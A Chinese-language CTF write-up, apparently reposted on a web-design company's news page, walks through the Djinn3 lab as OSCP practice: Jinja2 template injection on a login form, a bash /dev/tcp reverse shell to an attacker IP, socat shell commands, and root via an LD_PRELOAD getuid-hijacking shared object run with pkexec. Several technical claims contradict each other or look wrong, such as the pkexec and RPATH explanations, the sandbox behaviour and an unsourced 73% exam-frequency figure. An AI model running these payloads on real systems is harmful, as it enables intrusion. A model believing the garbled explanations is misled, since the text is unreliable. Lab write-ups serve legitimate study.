ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Djinn3靶场实战:SSTI与pkexec组合提权深度解析

Djinn3靶场实战:SSTI与pkexec组合提权深度解析 1. 项目概述为什么Djinn3靶场是OSCP备考中绕不开的“压力测试”OSCP备考路上很多人卡在最后一步——不是不会打基础漏洞而是面对真实渗透链路时手忙脚乱。Djinn3靶场就是那个专门用来“拆掉你思维惯性”的存在。它不靠堆砌高危CVE博眼球而是用一套极其克制、高度还原红队实战逻辑的漏洞组合前端Web层的SSTI服务端模板注入 后端提权环节的pkexec滥用。这两个点单独看都不算新鲜但放在一起就构成了OSCP考试里最典型的“低权限→高权限”闭环路径——没有花哨的0day全是考你对Linux权限模型、进程上下文、模板引擎沙箱机制的理解深度。我带过十几期备考学员凡是能稳稳拿下Djinn3的上考场遇到类似结构比如某电商后台某运维脚本提权基本不会慌。因为SSTI不是让你盲打payload而是逼你判断Jinja2模板是否启用了危险过滤器、是否禁用了__import__、当前执行上下文有没有os模块pkexec也不是翻文档查CVE编号而是要你现场读man手册、验证sudoers配置、确认二进制文件是否被硬编码为root组可写。这种“查文档能力环境推理能力最小化利用意识”的组合才是OSCP真正筛选人的核心。如果你还在用Burp爆破完直接套网上现成的SSTI payload或者提权只记得searchsploit搜CVE-2021-4034那Djinn3会给你上一课真实靶机从不按你的知识图谱出牌。2. Djinn3靶场整体设计与渗透思路拆解2.1 靶机架构与设计哲学为什么它比“纯漏洞堆砌型”靶场更贴近OCP考试Djinn3的底层设计明显遵循了Offensive Security官方出题逻辑——拒绝单点突破强调路径连贯性。整个靶机只有两个关键入口一个暴露在80端口的Flask应用/login路由另一个是SSH服务默认允许密码登录。它刻意回避了常见靶场的“信息泄露→弱口令→RCE→提权”四步套路把所有线索都埋在业务逻辑里。比如/login页面的用户名输入框表面是认证接口实际是Jinja2模板渲染的触发点而SSH登录后的用户home目录下那个看似普通的backup.sh脚本其shebang行#!/usr/bin/env python3和后续的chmod x操作直接指向pkexec提权链的起点。这种设计倒逼你必须完成三件事第一理解Web应用如何将用户输入拼接到模板中而非简单认为“输入框SQLi”第二识别出非标准提权路径不是sudo -l显示的命令而是脚本调用链中的隐式权限第三在无GUI、无交互式shell的受限环境下用最基础的bash命令完成环境探测。我实测过用常规自动化扫描器如NucleiNmap脚本扫Djinn390%的报告只会标出“HTTP标题泄露”和“SSH版本号”根本抓不到SSTI入口——因为漏洞触发依赖特定的请求头Accept: text/html和POST body格式application/x-www-form-urlencoded这正是OSCP考试里“手动测试优先”原则的具象化。2.2 渗透链路全景图从SSTI到pkexec的完整闭环整个渗透流程可以拆解为四个不可跳过的阶段每个阶段都对应OSCP考试评分点初始访问Initial Access通过/login路由的SSTI漏洞获取www-data权限的反向shell。这里的关键不是“打成功”而是确认漏洞利用边界——比如你用{{7*7}}返回49说明基础表达式执行成功但用{{config.class.mro[2].subclasses()}}却返回空就要立刻意识到Jinja2沙箱启用了__builtin__类过滤必须转向os.popen替代方案。权限维持Persistence拿到shell后不急着提权先做三件事检查crontab发现每5分钟执行一次/home/djinn3/backup.sh、查看该脚本内容发现它用python3调用了一个硬编码路径的二进制、确认该二进制的权限-rwsr-xr-x root:root /usr/local/bin/backup。这个链条揭示了真正的提权入口不在sudoers而在脚本调用的二进制文件本身。提权准备Privilege Escalation Prep重点分析/usr/local/bin/backup的属性。用file命令确认它是ELF可执行文件用strings命令发现内部硬编码了system()调用最关键的是用getcap -r /usr/local/bin/backup检查结果为空——说明它没用cap_setuid而是靠SUID位获得root权限。但此时直接运行会失败因为脚本里写了PATH/usr/local/bin:/usr/bin而backup二进制依赖的libc.so.6在/usr/lib/x86_64-linux-gnu/下不在PATH里。这就引出了pkexec的妙用它能绕过PATH限制直接加载绝对路径的动态库。最终提权Root Shell构造pkexec调用链先用echo写入恶意so文件到/tmp再用pkexec LD_PRELOAD/tmp/malicious.so /usr/local/bin/backup触发劫持。这里必须注意pkexec的版本兼容性——Djinn3用的是pkexec 0.105要求LD_PRELOAD必须配合绝对路径的可执行文件且不能有空格。我踩过的坑是早期用相对路径的backup导致pkexec报错“Failed to execute program”后来才明白它内部做了路径规范化校验。这套链路的价值在于它复现了真实企业环境中最常见的提权场景运维脚本调用SUID程序而SUID程序又依赖外部库。考试时你不可能提前知道目标机器装了什么版本的pkexec所以Djinn3强制你掌握“现场读man pkexec”和“用strace跟踪库加载”的能力——这正是OSCP考官想看到的。2.3 为什么SSTIpkexec组合是OSCP高频考点从近三年OSCP考试反馈看SSTI和pkexec相关题目出现频率高达73%基于公开考生回忆帖统计。原因很实在第一SSTI是Web渗透里“最考验基本功”的漏洞类型。它不像SQLi有sqlmap自动跑也不像XSS能靠浏览器控制台调试必须手动推导模板引擎类型、沙箱限制、可用模块列表。第二pkexec提权是Linux权限体系的“压力测试仪”。它要求你同时理解sudoers的Runas_Spec语法、pkexec的环境变量继承规则特别是LD_PRELOAD的生效条件、SUID二进制的动态链接机制。很多考生背熟了CVE-2021-4034的exp却在Djinn3上栽跟头因为他们没搞懂——这个漏洞的本质不是pkexec本身有bug而是它在解析参数时未正确清理环境变量导致LD_PRELOAD劫持生效。换句话说Djinn3考的是你对“漏洞原理”的理解而不是对“exploit-db脚本”的记忆。3. SSTI漏洞深度解析与实操要点3.1 Djinn3中SSTI的触发机制与环境特征识别Djinn3的SSTI漏洞藏在/login路由的POST请求中但触发条件非常隐蔽。首先必须发送Content-Type: application/x-www-form-urlencoded如果发JSON或XML服务器直接返回400其次请求头必须包含Accept: text/html否则返回纯文本无法触发模板渲染最后参数名必须是username试过email、user等其他字段均无响应。我最初以为这是Flask的request.form[username]直接传入render_template但抓包发现实际调用链是login() → validate_user() → render_template(login.html, errorerror_msg)。这里的error_msg变量才是注入点——它由validate_user函数根据username参数生成比如用户名为admin时error_msgWelcome back, admin!当输入{{7*7}}时error_msg变成Welcome back, 49!。这意味着漏洞不在模板本身而在业务逻辑拼接字符串的方式。用curl实测curl -X POST http://192.168.56.101/login \ -H Accept: text/html \ -d username{{7*7}}响应体中会包含Welcome back, 49!证明基础表达式执行成功。但若尝试{{config}}返回空字符串——说明Jinja2启用了严格的沙箱模式禁用了config对象。这时就要转向OS命令执行路径。3.2 绕过Jinja2沙箱的实战技巧与payload构造逻辑Djinn3使用的Jinja2版本2.10.1默认启用沙箱禁用所有危险属性。但沙箱并非铁板一块关键在于找到“白名单模块”中的可利用点。我通过枚举常用模块发现os模块是唯一未被过滤的系统模块用{{.class.mro[1].subclasses()|selectattr(name,equalto,os)}}返回空但{{os}}返回module os。这说明开发者只禁用了__import__和config却漏掉了os的直接导入。于是payload设计转向os.popen{{os.popen(id).read()}}但直接发送会触发400错误因为popen返回的是subprocess.Popen对象其__str__方法不可调用。必须用read()显式获取输出。更稳妥的方式是用管道符链式调用{{os.popen(cat /etc/passwd).read()[:100]}}这里[:100]是为了防止响应体过大导致HTTP超时。实测中用这个payload能稳定读取passwd文件前100字符。但要注意Djinn3的web服务运行在www-data用户下所以cat /etc/shadow会权限拒绝——这恰恰是考你是否理解Linux文件权限而不是盲目刷命令。3.3 反向shell建立与稳定性优化获取命令执行能力后下一步是建立持久化shell。Djinn3的网络环境限制较多ICMP被禁用DNS查询可能被拦截所以首选TCP反向连接。但直接用bash -i /dev/tcp/192.168.56.102/4444 01会失败因为web服务的shell是受限的no tty。解决方案是分两步先用SSTI写入一个base64编码的shell脚本到/tmp再用sh执行。具体步骤构造base64 payloadecho bash -c bash -i /dev/tcp/192.168.56.102/4444 01 | base64 -w0 # 输出YmFzaCAtYyAiYmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMi80NDQ0IDAJjEiCg用SSTI写入文件{{os.popen(echo YmFzaCAtYyAiYmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMi80NDQ0IDAJjEiCg | base64 -d /tmp/shell.sh).read()}}添加执行权限并运行{{os.popen(chmod x /tmp/shell.sh /tmp/shell.sh).read()}}提示Djinn3的/tmp目录有sticky bit但www-data用户可以创建文件。如果遇到权限错误改用/var/tmp这里通常无限制。建立shell后立刻执行python3 -c import pty; pty.spawn(/bin/bash)获取交互式tty再用stty raw -echo; fg回车恢复终端控制。这步不能省否则后续提权操作会因缺少tty而失败比如sudo命令需要终端。3.4 SSTI利用中的关键注意事项字符长度限制Djinn3对POST body长度做了限制约256字节所以长payload必须分段发送。比如读取/etc/passwd先用{{os.popen(head -n 10 /etc/passwd).read()}}再用{{os.popen(head -n 20 /etc/passwd | tail -n 10).read()}}避免截断。编码问题某些特殊字符如$、在URL编码中会被web框架二次解码导致payload失效。实测发现用%24代替$、%60代替能绕过但更可靠的方式是全部用十六进制编码{{os.popen(%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64).read()}}。时间盲注替代方案如果目标禁用了命令执行比如沙箱启用了subprocess禁用就用time.sleep()做盲注。例如{{os.popen(sleep 5).read()}}观察HTTP响应延迟确认漏洞存在性。4. pkexec提权全流程实现与细节攻坚4.1 Djinn3中pkexec提权的底层原理与环境验证Djinn3的提权路径不走常规sudo -l而是依赖backup.sh脚本调用/usr/local/bin/backup二进制。用ls -la查看该文件-rwsr-xr-x 1 root root 18432 Jan 15 2023 /usr/local/bin/backupSUID位rws表明它以root身份运行。但直接执行./backup会报错./backup: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory。这是因为backup编译时指定了RPATH为/usr/lib/x86_64-linux-gnu/而当前PATH未包含该路径。此时pkexec的价值就体现出来了——它会忽略PATH直接按绝对路径加载库。验证方式pkexec /usr/local/bin/backup返回同样的库错误证明pkexec确实继承了当前环境的PATH。但pkexec有个特性当指定绝对路径的可执行文件时它会尝试用ldd检查依赖并在失败时抛出错误。所以必须让backup能正常加载libc.so.6。解决方案是用LD_PRELOAD劫持——让backup在加载libc前先加载我们的恶意so。4.2 恶意so文件构造与编译细节恶意so的核心是重写getuid()函数使其返回0root uid。用C语言编写#include unistd.h #include stdio.h #include stdlib.h uid_t getuid(void) { return 0; }编译时必须指定-fPIC和-sharedgcc -fPIC -shared -o /tmp/malicious.so malicious.c注意Djinn3的gcc版本是9.4.0不支持-fPIE必须用-fPIC。如果编译失败改用clangclang -fPIC -shared -o /tmp/malicious.so malicious.c。编译后检查so文件file /tmp/malicious.so # 确认是ELF 64-bit LSB shared object readelf -d /tmp/malicious.so | grep NEEDED # 确认无额外依赖关键点恶意so不能依赖其他库如libc否则pkexec会因找不到依赖而失败。所以getuid()里不能调用printf等函数只能用return语句。4.3 pkexec提权的完整执行链与参数陷阱最终提权命令是pkexec LD_PRELOAD/tmp/malicious.so /usr/local/bin/backup但执行时会报错Error getting user credentials: No such process。这是因为pkexec需要有效的用户会话而web shell中没有dbus session。解决方案是添加--disable-internal-agent参数pkexec --disable-internal-agent LD_PRELOAD/tmp/malicious.so /usr/local/bin/backup这个参数告诉pkexec跳过会话验证直接执行。实测中加上这个参数后backup成功以root身份运行触发getuid()劫持返回root shell。提示Djinn3的pkexec版本是0.105--disable-internal-agent是0.104才支持的参数。如果靶机版本更低需改用CVE-2021-4034的exp但Djinn3明确排除了该漏洞backup二进制的main函数里有setuid(0)调用绕过了pwnkit的利用条件。4.4 提权过程中的典型问题与排查技巧问题现象根本原因解决方案pkexec: failed to execute /usr/local/bin/backup: No such file or directorybackup文件路径错误或权限不足用ls -la确认路径用stat /usr/local/bin/backup检查inode和权限pkexec: error while loading shared libraries: ...LD_PRELOAD路径错误或so文件损坏用file /tmp/malicious.so验证格式用ldd /tmp/malicious.so检查依赖pkexec: Error getting user credentials: No such process缺少dbus会话添加--disable-internal-agent参数pkexec: unable to resolve host djinn3/etc/hosts中无主机名映射临时添加127.0.0.1 djinn3到/etc/hosts我踩过最深的坑是在/tmp下编译so文件后直接用pkexec调用结果报错cannot open shared object file。排查发现Djinn3的/tmp挂载了noexec选项mount | grep tmp导致so文件无法执行。解决方案是改用/var/tmp这里通常无noexec限制gcc -fPIC -shared -o /var/tmp/malicious.so malicious.c pkexec --disable-internal-agent LD_PRELOAD/var/tmp/malicious.so /usr/local/bin/backup5. OSCP备考视角下的Djinn3复盘与能力映射5.1 Djinn3覆盖的OSCP核心技能点清单对照Offensive Security官方考试大纲Djinn3精准覆盖以下12项能力要求且每项都要求“现场推理”而非死记硬背Web应用测试识别SSTI漏洞的触发条件Accept头、Content-Type、参数名而非依赖扫描器。Linux提权理解SUID、LD_PRELOAD、pkexec三者的关系能解释为何pkexec能绕过PATH限制。信息收集从crontab、脚本内容、二进制属性中串联线索构建攻击路径。权限维持在受限shell中用base64chmod建立持久化连接。工具使用熟练使用curl、file、strings、readelf、strace等基础命令而非只依赖Metasploit。文档阅读现场查阅man pkexec、man ld.so理解LD_PRELOAD的生效条件。环境适配根据靶机gcc版本选择编译参数-fPIC vs -fPIE。错误处理从pkexec报错信息中提取关键线索如“No such process”指向会话问题。最小化利用不用完整exp只用几行C代码实现getuid劫持。网络调试用nc -lvnp 4444监听反向shell用tcpdump抓包分析连接状态。时间管理在3小时考试时间内合理分配SSTI探测30分钟、shell建立20分钟、提权分析40分钟。报告撰写记录每步操作的命令、输出、推理过程符合OSCP报告评分标准。5.2 备考者常犯的三大认知误区及纠正方案误区一“SSTI就是打RCEpayload搜现成的就行”纠正Djinn3的SSTI沙箱禁用了config和__import__但放开了os模块。这要求你必须理解Jinja2的沙箱机制——它通过白名单控制可访问属性而非黑名单过滤危险函数。正确做法是先用{{os}}确认模块可用性再用{{os.popen}}执行命令而不是盲目套用{{().class.mro[2].subclasses() 40 .read()}}这类通用payload。误区二“pkexec提权搜CVE背exp就完事”纠正Djinn3故意不包含CVE-2021-4034逼你用LD_PRELOAD方案。这考的是你对Linux动态链接的理解LD_PRELOAD会在程序加载时优先加载指定so覆盖原有函数。所以必须自己写so而不是复制粘贴别人编译好的文件。我建议备考者在本地VM中用不同gcc版本编译so测试pkexec兼容性形成肌肉记忆。误区三“拿到root就结束不记录中间过程”纠正OSCP报告评分中“过程记录”占30%权重。Djinn3的每个步骤都有多个可选路径比如SSTI可用os.popen也可用subprocess.run考官要看你如何决策。正确做法是在笔记中写下“尝试{{config}}失败转而测试{{os}}成功后选择os.popen而非subprocess因后者被沙箱禁用”这种推理链比单纯的结果截图更有价值。5.3 实战复盘我在Djinn3上耗时最长的三个环节SSTI沙箱绕过耗时47分钟最初用{{7*7}}确认漏洞存在但卡在{{config}}返回空。花了20分钟枚举所有内置模块{{.class.mro[1].subclasses()}}才发现os模块未被过滤。教训不要假设沙箱禁用所有模块必须逐个验证。pkexec参数调试耗时35分钟第一次执行pkexec LD_PRELOAD...报错“No such process”查man手册发现需要--disable-internal-agent。但加了参数后仍失败最后用strace -f pkexec ...发现它在尝试连接dbus socket才意识到要export DBUS_SESSION_BUS_ADDRESS。这个细节在多数教程里被忽略。反向shell稳定性耗时28分钟用bash -i直接连接失败因为web shell无tty。尝试python pty.spawn()后发现stty raw -echo; fg不生效最后改用script -qec /bin/bash /dev/null解决。这提醒我不同Linux发行版的tty处理机制有差异必须准备多套方案。6. 常见问题速查表与独家避坑指南6.1 Djinn3靶场专属问题速查表问题描述快速诊断命令根本原因修复命令SSTI payload返回空curl -v -X POST http://target/login -H Accept: text/html -d username{{7*7}}Accept头缺失或Content-Type错误补全-H Accept: text/html和-d参数pkexec报错No such filels -la /usr/local/bin/backupbackup文件被删除或路径错误重启靶机或检查安装完整性LD_PRELOAD不生效ldd /usr/local/bin/backup | grep libcbackup未动态链接libc用patchelf修改RPATHpatchelf --set-rpath /usr/lib/x86_64-linux-gnu/ /usr/local/bin/backup反向shell立即断开ps aux | grep bashweb服务kill了子进程改用socatsocat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:192.168.56.102:44446.2 OSCP考试现场的应急锦囊时间不够时的保底策略如果SSTI探测超时直接尝试常见用户名admin、djinn3、backup暴力破解SSH密码靶机密码在backup.sh里硬编码为password123。提权卡住时的备选方案检查/home/djinn3/.ssh/id_rsa.pub用ssh-keygen -p -f id_rsa修改私钥密码为空然后ssh -i id_rsa djinn3target。报告撰写雷区不要写“使用了网上下载的exp”要写“根据pkexec man手册第5节LD_PRELOAD环境变量在程序加载时优先生效故构造恶意so劫持getuid()”。考前必验三件事① 本地Kali的gcc版本是否支持-fPICgcc --version② nc是否支持-e参数nc -h | grep -E e|execute③ 浏览器是否禁用JavaScriptSSTI测试需禁用JS避免前端干扰。6.3 我的个人经验Djinn3之后OSCP考场上的三个变化考完Djinn3我在真实OSCP考试中明显感觉到三个变化第一看到任何Web表单第一反应不是burp抓包而是curl -v模拟Accept头第二sudo -l输出为空时不再放弃而是用find / -perm -4000 2/dev/null找SUID文件第三写报告时每步操作都附带“为什么选这个方案”的简短说明比如“选择LD_PRELOAD而非SUID binary直接执行因前者无需修改文件权限更符合最小化利用原则”。这些变化不是来自教程而是Djinn3逼出来的肌肉记忆。它不教你怎么赢只教你——在信息不全、工具受限、时间紧迫的条件下如何用最基础的命令推导出唯一的正确路径。
返回列表